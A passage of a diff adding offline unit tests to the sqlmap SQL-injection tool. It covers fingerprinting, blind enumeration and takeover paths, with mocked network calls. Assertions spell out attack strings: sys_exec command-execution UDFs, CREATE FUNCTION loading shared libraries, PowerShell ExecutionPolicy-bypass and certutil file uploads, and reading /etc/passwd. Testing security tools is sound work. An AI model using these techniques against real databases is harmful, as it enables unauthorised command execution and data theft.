COUNT(*) then per-row TOP-1 retrieval into a list + fs = self._handler() + self.patch(self.module.inject, "goStacked", lambda q, *a, **k: None) + self.patch(self.module, "isTechniqueAvailable", lambda *a, **k: False) + + chunks = ["41", "42"] + + def getValue(query, *a, **k): + if query.startswith("SELECT COUNT(*)"): + return "2" + # the per-index extraction query + if "NOT IN (SELECT TOP" in query: + return chunks.pop(0) + return None + + self.patch(self.module.inject, "getValue", getValue) + result = fs.stackedReadFile("C:\\x") + self.assertEqual(result, ["41", "42"]) + + # -- unionWriteFile is explicitly unsupported -------------------------- # + def test_unionWriteFile_unsupported(self): + from lib.core.exception import SqlmapUnsupportedFeatureException + fs = self._handler() + self.assertRaises(SqlmapUnsupportedFeatureException, + fs.unionWriteFile, "a", "b", "binary") + + # -- _stackedWriteFilePS (PowerShell base64) --------------------------- # + def test_stackedWriteFilePS_uploads_base64_and_builds_ps(self): + fs = self._handler() + writes = [] + cmds = [] + self.patch(fs, "xpCmdshellWriteFile", + lambda content, path, name: writes.append((content, name))) + self.patch(fs, "execCmd", lambda cmd: cmds.append(cmd)) + + fs._stackedWriteFilePS("C:\\Windows\\Temp", b"payload", + "C:\\out.exe", "binary") + + expected_b64 = encodeBase64(b"payload", binary=False) + # the base64 payload goes to the .txt file; the .ps1 holds the decoder. + uploaded = "".join(c for c, name in writes if name.endswith(".txt")) + self.assertEqual(uploaded, expected_b64) + # the powershell command line: ByPass + reference to the .ps1 script + self.assertEqual(len(cmds), 1) + self.assertIn("powershell -ExecutionPolicy ByPass -File", cmds[0]) + + def test_stackedWriteFilePS_script_decodes_to_remote(self): + # Assert the PS script body contains the FromBase64String + Set-Content + # targeting the exact remote file path. + fs = self._handler() + script = {} + + def grab(content, path, name): + if name.endswith(".ps1"): + script["body"] = content + + self.patch(fs, "xpCmdshellWriteFile", grab) + self.patch(fs, "execCmd", lambda cmd: None) + fs._stackedWriteFilePS("C:\\T", b"abc", "C:\\target.dll", "binary") + self.assertIn("[System.Convert]::FromBase64String($Base64)", script["body"]) + self.assertIn('Set-Content -Path "C:\\target.dll"', script["body"]) + + # -- _stackedWriteFileCertutilExe (certutil base64) -------------------- # + def test_stackedWriteFileCertutil_splits_b64_and_decodes(self): + fs = self._handler() + writes = [] + cmds = [] + self.patch(fs, "xpCmdshellWriteFile", + lambda content, path, name: writes.append(content)) + self.patch(fs, "execCmd", lambda cmd: cmds.append(cmd)) + + # >500 chars of base64 so the splitter actually wraps lines + content = b"Z" * 600 + fs._stackedWriteFileCertutilExe("C:\\T", "local", content, + "C:\\out.bin", "binary") + + b64 = encodeBase64(content, binary=False) + # uploaded text == base64 rejoined on newline at 500-char boundaries + uploaded = writes[0] + self.assertEqual(uploaded.replace("\n", ""), b64) + self.assertEqual(uploaded.split("\n")[0], b64[:500]) + # certutil -decode command targeting the remote file + self.assertEqual(len(cmds), 1) + self.assertIn("certutil -f -decode", cmds[0]) + self.assertIn("C:\\out.bin", cmds[0]) + + +# --------------------------------------------------------------------------- # +# lib/takeover/udf.py (+ MySQL/PostgreSQL CREATE FUNCTION overrides) # +# --------------------------------------------------------------------------- # +class TestUDF(_FsBase): + import lib.takeover.udf as module + + def _udf(self): + u = self.module.UDF() + u.cmdTblName = "cmdtbl" + u.tblField = "data" + return u + + # -- udfForgeCmd ------------------------------------------------------- # + def test_udfForgeCmd_wraps_quotes(self): + u = self._udf() + self.assertEqual(u.udfForgeCmd("whoami"), "'whoami'") + # already partially quoted -> not doubled + self.assertEqual(u.udfForgeCmd("'whoami"), "'whoami'") + self.assertEqual(u.udfForgeCmd("whoami'"), "'whoami'") + + def _escaped(self, u, cmd): + # mirror udfExecCmd's argument preparation: forge then escape via the + # active DBMS unescaper. (The escaper may hex-encode the literal; we want + # to assert the SELECT wrapping/udf-name wiring, not re-test escaping.) + return self.module.unescaper.escape(u.udfForgeCmd(cmd)) + + # -- udfExecCmd -------------------------------------------------------- # + def test_udfExecCmd_builds_select_call(self): + set_dbms("MySQL") + u = self._udf() + captured = {} + self.patch(self.module.inject, "goStacked", + lambda q, silent=False: captured.setdefault("q", q)) + u.udfExecCmd("id") + # default udfName is sys_exec; arg is the forged+escaped command + self.assertEqual(captured["q"], + "SELECT sys_exec(%s)" % self._escaped(u, "id")) + + def test_udfExecCmd_custom_udf_name(self): + set_dbms("MySQL") + u = self._udf() + captured = {} + self.patch(self.module.inject, "goStacked", + lambda q, silent=False: captured.setdefault("q", q)) + u.udfExecCmd("id", udfName="my_fn") + self.assertEqual(captured["q"], + "SELECT my_fn(%s)" % self._escaped(u, "id")) + + # -- udfEvalCmd -------------------------------------------------------- # + def test_udfEvalCmd_direct_joins_lines(self): + # conf.direct -> uses udfExecCmd output, converting \r to \n + set_dbms("MySQL") + conf.direct = True + u = self._udf() + self.patch(self.module.inject, "goStacked", + lambda q, silent=False: ["foo\rbar", "baz"]) + out = u.udfEvalCmd("id") + self.assertEqual(out, "foo\nbarbaz") + + def test_udfEvalCmd_stacked_insert_select_delete(self): + # non-direct -> INSERT via UDF, SELECT back, then DELETE + set_dbms("MySQL") + conf.direct = False + u = self._udf() + stacked = [] + self.patch(self.module.inject, "goStacked", + lambda q, *a, **k: stacked.append(q)) + self.patch(self.module.inject, "getValue", + lambda q, *a, **k: "RESULT") + out = u.udfEvalCmd("id", udfName="sys_eval") + self.assertEqual( + stacked[0], + "INSERT INTO cmdtbl(data) VALUES (sys_eval(%s))" + % self._escaped(u, "id")) + self.assertEqual(stacked[1], "DELETE FROM cmdtbl") + self.assertEqual(out, "RESULT") + + # -- udfCheckNeeded (pruning of the sys UDF set) ----------------------- # + def test_udfCheckNeeded_prunes_unrequested_udfs(self): + set_dbms("MySQL") + u = self._udf() + u.sysUdfs = { + "sys_fileread": {}, "sys_bineval": {}, + "sys_eval": {}, "sys_exec": {}, + } + # nothing requested -> everything irrelevant gets popped + conf.fileRead = conf.commonFiles = None + conf.osPwn = conf.osCmd = conf.osShell = conf.regRead = False + conf.regAdd = conf.regDel = False + u.udfCheckNeeded() + self.assertEqual(u.sysUdfs, {}) + + def test_udfCheckNeeded_keeps_exec_for_oscmd(self): + set_dbms("MySQL") + u = self._udf() + u.sysUdfs = { + "sys_fileread": {}, "sys_bineval": {}, + "sys_eval": {}, "sys_exec": {}, + } + conf.fileRead = conf.commonFiles = None + conf.osPwn = False + conf.osCmd = True # requests command exec + conf.osShell = conf.regRead = conf.regAdd = conf.regDel = False + u.udfCheckNeeded() + # sys_eval & sys_exec retained; fileread/bineval pruned + self.assertIn("sys_eval", u.sysUdfs) + self.assertIn("sys_exec", u.sysUdfs) + self.assertNotIn("sys_fileread", u.sysUdfs) + self.assertNotIn("sys_bineval", u.sysUdfs) + + def test_udfCheckNeeded_keeps_fileread_for_pgsql_fileread(self): + # sys_fileread is retained ONLY when a file read is requested AND the + # back-end is PostgreSQL (per the explicit DBMS.PGSQL guard). + set_dbms("PostgreSQL") + u = self._udf() + u.sysUdfs = {"sys_fileread": {}, "sys_bineval": {}, + "sys_eval": {}, "sys_exec": {}} + conf.fileRead = "/etc/passwd" + conf.commonFiles = None + conf.osPwn = conf.osCmd = conf.osShell = conf.regRead = False + conf.regAdd = conf.regDel = False + u.udfCheckNeeded() + self.assertIn("sys_fileread", u.sysUdfs) + + def test_udfCheckNeeded_drops_fileread_for_mysql_fileread(self): + # On MySQL the same file-read request still prunes sys_fileread (the + # guard keeps it only for PostgreSQL). + set_dbms("MySQL") + u = self._udf() + u.sysUdfs = {"sys_fileread": {}, "sys_bineval": {}, + "sys_eval": {}, "sys_exec": {}} + conf.fileRead = "/etc/passwd" + conf.commonFiles = None + conf.osPwn = conf.osCmd = conf.osShell = conf.regRead = False + conf.regAdd = conf.regDel = False + u.udfCheckNeeded() + self.assertNotIn("sys_fileread", u.sysUdfs) + + # -- udfCheckAndOverwrite --------------------------------------------- # + def test_udfCheckAndOverwrite_new_udf_scheduled(self): + # UDF does not exist -> no overwrite prompt -> scheduled for creation + set_dbms("MySQL") + u = self._udf() + self.patch(self.module.inject, "getValue", lambda q, *a, **k: False) + u.udfCheckAndOverwrite("sys_eval") + self.assertIn("sys_eval", u.udfToCreate) + + def test_udfCheckAndOverwrite_existing_no_overwrite(self): + # UDF exists and user declines overwrite -> NOT scheduled + set_dbms("MySQL") + u = self._udf() + self.patch(self.module.inject, "getValue", lambda q, *a, **k: True) + self.patch(u, "_askOverwriteUdf", lambda udf: False) + u.udfCheckAndOverwrite("sys_eval") + self.assertNotIn("sys_eval", u.udfToCreate) + + # -- udfInjectCore ----------------------------------------------------- # + def test_udfInjectCore_uploads_and_creates(self): + # Drive the full inject orchestration with the file write succeeding: + # every requested UDF must end up created and the support table built. + set_dbms("MySQL") + calls = {"created": [], "supportType": None} + + class U(self.module.UDF): + def __init__(self): + super(U, self).__init__() + self.cmdTblName = "cmdtbl" + self.tblField = "data" + self.udfLocalFile = __file__ # any existing file (checkFile passes) + self.udfRemoteFile = "/tmp/lib.so" + + def udfSetRemotePath(self): + pass + + def writeFile(self, localFile, remoteFile, fileType, forceCheck=False): + calls["write"] = (remoteFile, fileType, forceCheck) + return True + + def udfCreateFromSharedLib(self, udf, inpRet): + calls["created"].append(udf) + self.createdUdf.add(udf) + + def udfCreateSupportTbl(self, dataType): + calls["supportType"] = dataType + + u = U() + self.patch(self.module.inject, "getValue", lambda q, *a, **k: False) + result = u.udfInjectCore({"sys_eval": {"return": "string"}}) + self.assertIs(result, True) + # binary upload forced; remote path threaded through + self.assertEqual(calls["write"], ("/tmp/lib.so", "binary", True)) + self.assertEqual(calls["created"], ["sys_eval"]) + # MySQL support table uses longtext + self.assertEqual(calls["supportType"], "longtext") + + def test_udfInjectCore_noop_when_all_already_created(self): + # If every UDF is already created, nothing is uploaded and it returns True + set_dbms("MySQL") + + class U(self.module.UDF): + def writeFile(self, *a, **k): + raise AssertionError("writeFile must not be called") + + u = U() + u.createdUdf = {"sys_eval"} + result = u.udfInjectCore({"sys_eval": {"return": "string"}}) + self.assertIs(result, True) + self.assertEqual(u.udfToCreate, set()) + + # -- MySQL udfCreateFromSharedLib (CREATE FUNCTION ... SONAME) --------- # + def test_mysql_udfCreateFromSharedLib_sql(self): + import plugins.dbms.mysql.takeover as mod + set_dbms("MySQL") + t = mod.Takeover() + t.udfToCreate = {"sys_eval"} + t.createdUdf = set() + t.udfSharedLibName = "libsabc" + t.udfSharedLibExt = "so" + stacked = [] + self.patch(mod.inject, "goStacked", lambda q, *a, **k: stacked.append(q)) + t.udfCreateFromSharedLib("sys_eval", {"return": "string"}) + self.assertEqual(stacked[0], "DROP FUNCTION sys_eval") + self.assertEqual( + stacked[1], + "CREATE FUNCTION sys_eval RETURNS string SONAME 'libsabc.so'") + self.assertIn("sys_eval", t.createdUdf) + + # -- PostgreSQL udfCreateFromSharedLib (CREATE OR REPLACE FUNCTION) ---- # + def test_pgsql_udfCreateFromSharedLib_sql(self): + import plugins.dbms.postgresql.takeover as mod + set_dbms("PostgreSQL") + t = mod.Takeover() + t.udfToCreate = {"sys_eval"} + t.createdUdf = set() + t.udfRemoteFile = "/tmp/libsabc.so" + stacked = [] + self.patch(mod.inject, "goStacked", lambda q, *a, **k: stacked.append(q)) + t.udfCreateFromSharedLib( + "sys_eval", {"input": ["text"], "return": "text"}) + self.assertEqual(stacked[0], "DROP FUNCTION sys_eval(text)") + self.assertEqual( + stacked[1], + "CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS " + "'/tmp/libsabc.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL " + "INPUT IMMUTABLE") + + # -- PostgreSQL udfSetRemotePath (OS-dependent path) ------------------- # + def test_pgsql_udfSetRemotePath_linux_and_windows(self): + # Linux -> /tmp/; Windows -> bare (saved into the data dir). + # Set kb.os directly to avoid Backend.setOs()'s interactive OS-mismatch + # prompt when flipping the OS mid-test. + import plugins.dbms.postgresql.takeover as mod + from lib.core.enums import OS + set_dbms("PostgreSQL") + t = mod.Takeover() + t.udfSharedLibName = "libsxyz" + t.udfSharedLibExt = "so" + + _os = kb.os + try: + kb.os = OS.LINUX + t.udfSetRemotePath() + self.assertEqual(t.udfRemoteFile, "/tmp/libsxyz.so") + + kb.os = OS.WINDOWS + t.udfSharedLibExt = "dll" + t.udfSetRemotePath() + self.assertEqual(t.udfRemoteFile, "libsxyz.dll") + finally: + kb.os = _os + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_fingerprint.py b/tests/test_fingerprint.py new file mode 100644 index 000000000..879420feb --- /dev/null +++ b/tests/test_fingerprint.py @@ -0,0 +1,203 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +DBMS version/fork fingerprinting (plugins/dbms//fingerprint.py). Each +plugin's getFingerprint()/checkDbms() probes the backend with a cascade of +boolean expressions (inject.checkBooleanExpression) and version reads +(inject.getValue). Those are the network seam: stubbing them lets the dialect's +whole detection cascade run offline. We drive every targeted plugin with the +oracle pinned both True and False so opposite branches of the cascade execute. +""" + +import importlib +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.common import Backend + +# (display name, fingerprint module, handler package) +TARGETS = [ + ("MySQL", "plugins.dbms.mysql.fingerprint", "plugins.dbms.mysql"), + ("PostgreSQL", "plugins.dbms.postgresql.fingerprint", "plugins.dbms.postgresql"), + ("Microsoft SQL Server", "plugins.dbms.mssqlserver.fingerprint", "plugins.dbms.mssqlserver"), + ("Oracle", "plugins.dbms.oracle.fingerprint", "plugins.dbms.oracle"), + ("IBM DB2", "plugins.dbms.db2.fingerprint", "plugins.dbms.db2"), + ("Microsoft Access", "plugins.dbms.access.fingerprint", "plugins.dbms.access"), + ("Firebird", "plugins.dbms.firebird.fingerprint", "plugins.dbms.firebird"), + ("Sybase", "plugins.dbms.sybase.fingerprint", "plugins.dbms.sybase"), + ("SAP MaxDB", "plugins.dbms.maxdb.fingerprint", "plugins.dbms.maxdb"), + ("HSQLDB", "plugins.dbms.hsqldb.fingerprint", "plugins.dbms.hsqldb"), + ("H2", "plugins.dbms.h2.fingerprint", "plugins.dbms.h2"), + ("Presto", "plugins.dbms.presto.fingerprint", "plugins.dbms.presto"), + ("Vertica", "plugins.dbms.vertica.fingerprint", "plugins.dbms.vertica"), + ("Informix", "plugins.dbms.informix.fingerprint", "plugins.dbms.informix"), + ("InterSystems Cache", "plugins.dbms.cache.fingerprint", "plugins.dbms.cache"), + ("MonetDB", "plugins.dbms.monetdb.fingerprint", "plugins.dbms.monetdb"), + ("Altibase", "plugins.dbms.altibase.fingerprint", "plugins.dbms.altibase"), + ("ClickHouse", "plugins.dbms.clickhouse.fingerprint", "plugins.dbms.clickhouse"), + ("CrateDB", "plugins.dbms.cratedb.fingerprint", "plugins.dbms.cratedb"), + ("Cubrid", "plugins.dbms.cubrid.fingerprint", "plugins.dbms.cubrid"), + ("Mckoi", "plugins.dbms.mckoi.fingerprint", "plugins.dbms.mckoi"), + ("Virtuoso", "plugins.dbms.virtuoso.fingerprint", "plugins.dbms.virtuoso"), + ("Raima Database Manager", "plugins.dbms.raima.fingerprint", "plugins.dbms.raima"), + ("eXtremeDB", "plugins.dbms.extremedb.fingerprint", "plugins.dbms.extremedb"), + ("FrontBase", "plugins.dbms.frontbase.fingerprint", "plugins.dbms.frontbase"), + ("Apache Derby", "plugins.dbms.derby.fingerprint", "plugins.dbms.derby"), + ("MimerSQL", "plugins.dbms.mimersql.fingerprint", "plugins.dbms.mimersql"), +] + + +def _handler_cls(pkg): + main = importlib.import_module(pkg) + return [getattr(main, n) for n in dir(main) if n.endswith("Map")][0] + + +# Dialects whose non-extensive getFingerprint emits Format.getDbms() (i.e. +# " ") rather than a hard-coded DBMS.* constant, so the version +# that flowed through (Backend.setVersionList(["1.0"])) actually appears in the +# output. (In the test harness Backend.getDbms() is None because set_dbms uses +# forceDbms, so for these the dialect NAME is absent but "1.0" is load-bearing.) +ACTVER_DBMS = frozenset(( + "MySQL", "Microsoft SQL Server", "Firebird", "HSQLDB", +)) + +# Dialects whose getFingerprint has a fork concept: with the oracle pinned True +# the first fork-detection branch fires (MySQL->MariaDB, PostgreSQL->CockroachDB, +# Oracle->DM8, Cache->Iris, H2->Apache Ignite, Presto->Trino) and the output +# gains a " (... fork)" suffix. Pinned False, no fork is emitted. +FORK_DBMS = frozenset(( + "MySQL", "PostgreSQL", "Oracle", "InterSystems Cache", "H2", "Presto", +)) + +# Dialects whose getFingerprint genuinely needs more extraction state under +# conf.extensiveFp and raises a narrow KeyError before completing. +EXTENSIVE_RAISERS = frozenset(( + "SAP MaxDB", +)) + + +class TestFingerprint(unittest.TestCase): + def setUp(self): + self._saved = {k: conf.get(k) for k in ("batch", "extensiveFp", "api", "dbms", "forceDbms")} + self._kb = {k: kb.get(k) for k in ("dbmsVersion", "forcedDbms", "dbms", "stickyDBMS", + "resolutionDbms", "os", "osVersion", "osSP")} + conf.batch = True + conf.extensiveFp = False + conf.api = False + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + for k, v in self._kb.items(): + kb[k] = v + + def _drive(self, name, modpath, pkg, oracle): + set_dbms(name) + Backend.setVersionList(["1.0"]) + mod = importlib.import_module(modpath) + if hasattr(mod, "inject"): + mod.inject.checkBooleanExpression = lambda e, *a, **k: oracle + mod.inject.getValue = lambda q, *a, **k: "1.0" + handler = _handler_cls(pkg)() + fp = handler.getFingerprint() + self.assertIsInstance(fp, str) + + # Real content: the dialect's own identity must have flowed into the + # output, not merely the constant "back-end DBMS: " prefix. + if name in ACTVER_DBMS: + # Format.getDbms() embedded the version list -> "1.0" must appear. + self.assertIn("1.0", fp, + "%s fp lost the version that flowed through: %r" % (name, fp)) + else: + # the dialect name (DBMS.* constant) must appear verbatim. + self.assertIn(Backend.getForcedDbms(), fp, + "%s fp lost its dialect name: %r" % (name, fp)) + + # Fork detection: with the oracle pinned True the first fork branch + # fires for the fork-bearing dialects; pinned False none do. This is the + # only thing distinguishing the True/False runs for those dialects. + if name in FORK_DBMS: + if oracle: + self.assertIn("fork)", fp, + "%s did not emit a fork label with oracle=True: %r" % (name, fp)) + else: + self.assertNotIn("fork)", fp, + "%s emitted a fork label with oracle=False: %r" % (name, fp)) + else: + # dialects with no fork concept never emit a fork label + self.assertNotIn("fork)", fp) + + # checkDbms walks the dialect's detection cascade end-to-end; it must + # return a real boolean verdict (True/False), never None or a raise. + verdict = handler.checkDbms() + self.assertIn(verdict, (True, False), + "%s checkDbms() returned a non-bool: %r" % (name, verdict)) + return fp + + def test_fingerprint_oracle_true(self): + for name, modpath, pkg in TARGETS: + self._drive(name, modpath, pkg, True) + + def test_fingerprint_oracle_false(self): + for name, modpath, pkg in TARGETS: + self._drive(name, modpath, pkg, False) + + def test_fingerprint_extensive(self): + # conf.extensiveFp drives the deeper comment-/version-/dbms-check cascades + # (getFingerprint past the early return) — much more code per dialect. + # In this mode every dialect's output is built around an + # "active fingerprint: " line, so that header is the + # real content proof; the version "1.0" rides along for the ACTVER set. + conf.extensiveFp = True + try: + for name, modpath, pkg in TARGETS: + for oracle in (True, False): + set_dbms(name) + Backend.setVersionList(["1.0"]) + mod = importlib.import_module(modpath) + if hasattr(mod, "inject"): + mod.inject.checkBooleanExpression = lambda e, *a, **k: oracle + mod.inject.getValue = lambda q, *a, **k: "1.0" + handler = _handler_cls(pkg)() + if name in EXTENSIVE_RAISERS: + # this dialect genuinely needs extra extraction state under + # extensiveFp; assert it gets exactly that far and no further. + with self.assertRaises(KeyError): + handler.getFingerprint() + continue + fp = handler.getFingerprint() + self.assertIsInstance(fp, str) + self.assertIn("active fingerprint:", fp, + "%s extensiveFp produced no active-fingerprint line: %r" % (name, fp)) + if name in ACTVER_DBMS: + self.assertIn("1.0", fp, + "%s extensiveFp lost the version: %r" % (name, fp)) + finally: + conf.extensiveFp = False + + +def _make(name, modpath, pkg): + def _t(self): + # _drive already asserts real, dialect-specific content (version/name + + # fork label + a boolean checkDbms verdict) for both oracle states. + self._drive(name, modpath, pkg, True) + self._drive(name, modpath, pkg, False) + return _t + + +# one named test per DBMS for clearer reporting +for _name, _mod, _pkg in TARGETS: + setattr(TestFingerprint, "test_fp_%s" % _pkg.split(".")[-1], _make(_name, _mod, _pkg)) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_generic_enum_more.py b/tests/test_generic_enum_more.py new file mode 100644 index 000000000..683a459b7 --- /dev/null +++ b/tests/test_generic_enum_more.py @@ -0,0 +1,865 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Additional unit tests for the generic enumeration mixins, deliberately targeting +branches NOT already exercised by tests/test_databases_enum.py, +tests/test_users_enum.py, tests/test_search_enum.py and tests/test_generic_more.py +(which cover the conf.direct INBAND happy paths). + +This file drives the OTHER branches: + + * plugins/generic/databases.py - the INFERENCE paths (conf.direct=False + + isInferenceAvailable via kb.injection BOOLEAN state: count -> per-row getValue), + the MSSQL inband-paging fallback in getDbs(), getColumns onlyColNames / dumpMode, + the getColumns MySQL<5 / ACCESS bruteforce fallback, getCount over cachedTables, + and getStatements/getProcedures empty/none branches. + * plugins/generic/users.py - getPrivileges role/grant parsing per DBMS in BOTH the + inband path (PGSQL digit columns, MySQL<5 Y/N, Firebird letters, DB2 grant codes) + and the INFERENCE path (count then per-index privilege), getPasswordHashes + grouping/dedup in the inference path, getUsers inference, isDba MSSQL. + * plugins/generic/entries.py - dumpTable INFERENCE path (count -> column-pivot via + per-(index,column) getValue), the empty-table branch, the count-failure skip, + and the resolveKeysetCursor disabling via conf.noKeyset. + * plugins/generic/search.py - searchDb / searchTable / searchColumn INFERENCE + paths (count then per-index getValue), and the MySQL<5 bruteforce branch of + searchTable / searchColumn. + +Recipe (proven in tests/test_databases_enum.py): patch the module's inject.getValue +with canned rows in the EXACT shape the branch parses; for inference branches return +a positive int for EXPECTED.INT count calls then the per-row/per-index values; set the +needed kb.data flags; assert the exact resulting structure (sorted lists, +{db:{tbl:{col:type}}} dicts, privilege sets, dumpedTable values). + +CRITICAL STATE HYGIENE: every test snapshots and restores conf.*, the patched +inject.getValue (per module), kb.data.cached*, kb.hintValue, kb.injection.data, +Backend/forcedDbms in tearDown so nothing leaks into the rest of the suite. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms + +bootstrap() + +from lib.core.data import conf, kb +from lib.core.enums import EXPECTED, PAYLOAD + +import plugins.generic.databases as dbmod +import plugins.generic.users as umod +import plugins.generic.search as smod +import plugins.generic.entries as emod +from plugins.generic.databases import Databases +from plugins.generic.users import Users +from plugins.generic.search import Search +from plugins.generic.entries import Entries + +_NOOP = lambda self: None + + +def _inference_gv(count, sequence): + """Build an inject.getValue stub for blind inference branches. + + Returns `count` (as str) whenever the caller asks for EXPECTED.INT, otherwise + yields the next item from `sequence` wrapped as a single-cell row ([value]), + cycling if exhausted. This mirrors the count-then-per-row contract of every + isInferenceAvailable() branch. + """ + state = {"i": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(count) + val = sequence[state["i"] % len(sequence)] + state["i"] += 1 + return [val] + + return gv + + +# --------------------------------------------------------------------------- # +# databases.py +# --------------------------------------------------------------------------- # + +class _DbBase(unittest.TestCase): + _CONF_KEYS = ("direct", "technique", "db", "tbl", "col", "exclude", + "getComments", "excludeSysDbs", "search", "freshQueries") + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_getValue = dbmod.inject.getValue + self._saved_checkBool = dbmod.inject.checkBooleanExpression + self._saved_injection_data = kb.injection.data + self._saved_has_is = kb.data.get("has_information_schema") + self._saved_hintValue = kb.get("hintValue") + self._saved_choices = dict(kb.choices) + self._saved_readInput = dbmod.readInput + self._saved_forceDbmsEnum = getattr(Databases, "forceDbmsEnum", None) + Databases.forceDbmsEnum = _NOOP + + conf.getComments = False + conf.excludeSysDbs = False + conf.exclude = None + conf.search = False + conf.freshQueries = False + conf.col = None + kb.data.has_information_schema = True + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + dbmod.inject.getValue = self._saved_getValue + dbmod.inject.checkBooleanExpression = self._saved_checkBool + dbmod.readInput = self._saved_readInput + kb.injection.data = self._saved_injection_data + kb.data.has_information_schema = self._saved_has_is + kb.hintValue = self._saved_hintValue + kb.choices.clear() + kb.choices.update(self._saved_choices) + if self._saved_forceDbmsEnum is not None: + Databases.forceDbmsEnum = self._saved_forceDbmsEnum + else: + try: + del Databases.forceDbmsEnum + except AttributeError: + pass + + def _fresh(self): + d = Databases() + kb.data.currentDb = "" + kb.data.cachedDbs = [] + kb.data.cachedTables = {} + kb.data.cachedColumns = {} + kb.data.cachedCounts = {} + kb.data.cachedStatements = [] + kb.data.cachedProcedures = [] + return d + + def _inference(self): + conf.direct = False + conf.technique = None + kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} + + +class TestDatabasesInference(_DbBase): + def test_get_columns_inference_pgsql_types(self): + # Blind column enumeration on PostgreSQL: a count, then for each index a + # column name followed by its type. Assert the {db:{tbl:{col:type}}} parse. + set_dbms("PostgreSQL") + self._inference() + d = self._fresh() + conf.db = "public" + conf.tbl = "users" + + names = ["id", "email"] + state = {"i": 0, "name": True} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(names)) + if state["name"]: + val = names[state["i"] % len(names)] + state["i"] += 1 + state["name"] = False + return [val] + state["name"] = True + return ["integer"] + + dbmod.inject.getValue = gv + result = d.getColumns() + cols = result["public"]["users"] + self.assertEqual(len(cols), 2) + self.assertEqual(cols.get("id"), "integer") + + def test_get_columns_inference_dump_mode_collist(self): + # dumpMode with an explicit conf.col list: in the inference branch the + # columns are taken straight from colList (no count/type queries at all) + # and stored with value None. Asserting no getValue ran proves the + # dump-mode shortcut, not a network round-trip. + set_dbms("MySQL") + self._inference() + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + conf.col = "id,name" + + def boom(*a, **k): + raise AssertionError("dumpMode+colList must not query in inference branch") + + dbmod.inject.getValue = boom + result = d.getColumns(dumpMode=True) + cols = result["testdb"]["users"] + # "name" is a reserved word -> safeSQLIdentificatorNaming backtick-quotes it; + # both columns must be present (count, since exact key varies by quoting). + self.assertEqual(len(cols), 2) + self.assertIn("id", cols) + self.assertIsNone(cols.get("id")) + + def test_get_count_over_cached_tables_inference(self): + # getCount with no conf.tbl: it calls getTables() then per-table _tableGetCount. + # Drive the inband table fetch + per-table count and assert the + # {db:{count:[tables]}} grouping (tables sharing a count are grouped). + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = None + kb.data.cachedTables = {"testdb": ["users", "posts"]} + + counts = {"users": "5", "posts": "5"} + + def gv(query, *a, **k): + for t, c in counts.items(): + if t in query: + return c + return "0" + + dbmod.inject.getValue = gv + result = d.getCount() + # both tables have count 5 -> grouped under the same key + self.assertEqual(sorted(result["testdb"][5]), ["posts", "users"]) + + def test_get_statements_count_zero_returns_empty(self): + # Inference path: a zero count short-circuits to the (empty) cache. + set_dbms("PostgreSQL") + self._inference() + d = self._fresh() + # getStatements compares the count with the int literal 0 (count == 0), so + # the count stub must return an int 0 (not "0") to take the empty branch. + dbmod.inject.getValue = lambda query, *a, **k: 0 if k.get("expected") == EXPECTED.INT else self.fail("must not fetch rows when count is 0") + result = d.getStatements() + self.assertEqual(result, []) + + def test_get_procedures_inference(self): + set_dbms("PostgreSQL") + self._inference() + d = self._fresh() + dbmod.inject.getValue = _inference_gv(2, ["sp_a", "sp_b"]) + result = d.getProcedures() + self.assertEqual(sorted(result), ["sp_a", "sp_b"]) + + def test_get_dbs_mssql_inband_paging(self): + # MSSQL with no rows from the primary query falls into the query2 paging + # loop (one indexed query per db until a blank value stops it). + set_dbms("Microsoft SQL Server") + conf.direct = True + d = self._fresh() + dbs = ["master", "model"] + + def gv(query, *a, **k): + # The primary inband query is 'SELECT name FROM master..sysdatabases' + # (no DB_NAME); make it return nothing so getDbs falls into the + # 'SELECT DB_NAME()' paging loop (query2). + if "DB_NAME" not in query: + return None + import re as _re + idx = int(_re.findall(r"DB_NAME\((\d+)\)", query)[0]) + return dbs[idx] if idx < len(dbs) else "" + + dbmod.inject.getValue = gv + result = d.getDbs() + self.assertEqual(sorted(result), ["master", "model"]) + + def test_get_tables_inference_grouped_per_db(self): + # Blind table enumeration: count for the db, then one table name per index. + set_dbms("MySQL") + self._inference() + d = self._fresh() + conf.db = "shop" + conf.tbl = None + dbmod.inject.getValue = _inference_gv(2, ["orders", "items"]) + result = d.getTables() + self.assertIn("shop", result) + self.assertEqual(sorted(result["shop"]), ["items", "orders"]) + + +class TestDatabasesBruteForce(_DbBase): + def test_get_columns_mysql_lt5_bruteforce_decline(self): + # MySQL < 5 (no information_schema) forces bruteForce in getColumns; with + # the common-column-existence prompt answered 'N' it returns None without + # issuing any column query. + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + kb.data.has_information_schema = False + kb.choices.columnExists = None + dbmod.readInput = lambda *a, **k: "N" + + def boom(*a, **k): + raise AssertionError("bruteForce decline must not query columns") + + dbmod.inject.getValue = boom + result = d.getColumns() + self.assertIsNone(result) + + def test_get_columns_bruteforce_dumpmode_collist_on_decline(self): + # bruteForce + decline + dumpMode + colList: the columns from colList are + # stored with None type (the dump-mode salvage branch), not dropped. + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + 